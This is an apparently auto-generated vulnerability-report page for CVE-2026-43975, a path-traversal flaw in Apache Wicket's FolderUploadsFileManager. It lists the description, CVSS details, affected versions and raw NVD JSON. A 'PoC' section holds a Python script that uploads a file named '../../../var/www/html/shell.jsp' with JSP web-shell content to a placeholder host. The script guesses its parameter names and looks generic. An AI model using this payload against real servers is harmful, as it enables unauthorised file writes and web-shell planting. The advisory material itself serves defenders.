Security Vulnerability Report
中文
CVE-2026-43975 CVSS 6.5 MEDIUM

CVE-2026-43975

Published: 2026-05-06 10:16:26
Last Modified: 2026-05-06 20:29:31

Description

FolderUploadsFileManager in Apache Wicket does not validate or sanitize the uploadFieldId parameter or the clientFileName before constructing file paths, allowing an unauthenticated attacker to write arbitrary files outside the intended upload directory or read files from arbitrary locations on the server. This issue affects Apache Wicket: from 8.0.0 through 8.17.0, from 9.0.0 through 9.22.0, from 10.0.0 through 10.8.0. Users are recommended to upgrade to version 10.9.0, which fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:* - VULNERABLE
Apache Wicket 8.0.0 - 8.17.0
Apache Wicket 9.0.0 - 9.22.0
Apache Wicket 10.0.0 - 10.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Apache Wicket FolderUploadsFileManager Path Traversal (CVE-2026-43975) # Description: Uploads a file outside the intended directory by manipulating parameters. target_url = "http://vulnerable-host/wicket-upload-endpoint" # The vulnerability allows controlling the file path via unsanitized parameters. # Attackers can use '../' to traverse directories. files = { # Malicious filename attempting to write to webroot or temp directory 'file': ('../../../var/www/html/shell.jsp', b'<%@ page import="java.io.*" %><%=request.getParameter("cmd")%>', 'application/octet-stream') } # Vulnerable parameter names might vary based on implementation, # but 'uploadFieldId' or similar are mentioned in the advisory. data = { 'uploadFieldId': 'component_id', # Other form fields required by the application } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Potential exploit successful. Check if file was written.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43975", "sourceIdentifier": "[email protected]", "published": "2026-05-06T10:16:26.163", "lastModified": "2026-05-06T20:29:31.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FolderUploadsFileManager in Apache Wicket does not validate or sanitize the uploadFieldId parameter or the clientFileName\n before constructing file paths, allowing an unauthenticated attacker to\n write arbitrary files outside the intended upload directory or read \nfiles from arbitrary locations on the server.\n\nThis issue affects Apache Wicket: from 8.0.0 through 8.17.0, from 9.0.0 through 9.22.0, from 10.0.0 through 10.8.0.\n\nUsers are recommended to upgrade to version 10.9.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.17.0", "matchCriteriaId": "757E1B16-2C43-4B59-82BE-DEA456EF0F28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.22.0", "matchCriteriaId": "7977D77A-1CBF-41E0-BFE7-55C5B22CD85C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.9.0", "matchCriteriaId": "CE199A15-1741-4988-8C6A-D54F202F65E3"}]}]}], "references": [{"url": "https://github.com/apache/wicket/pull/1432", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://lists.apache.org/thread/xp2jrdk6ppv1zcmxb4w1mk2lg1dw3hbr", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/06/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}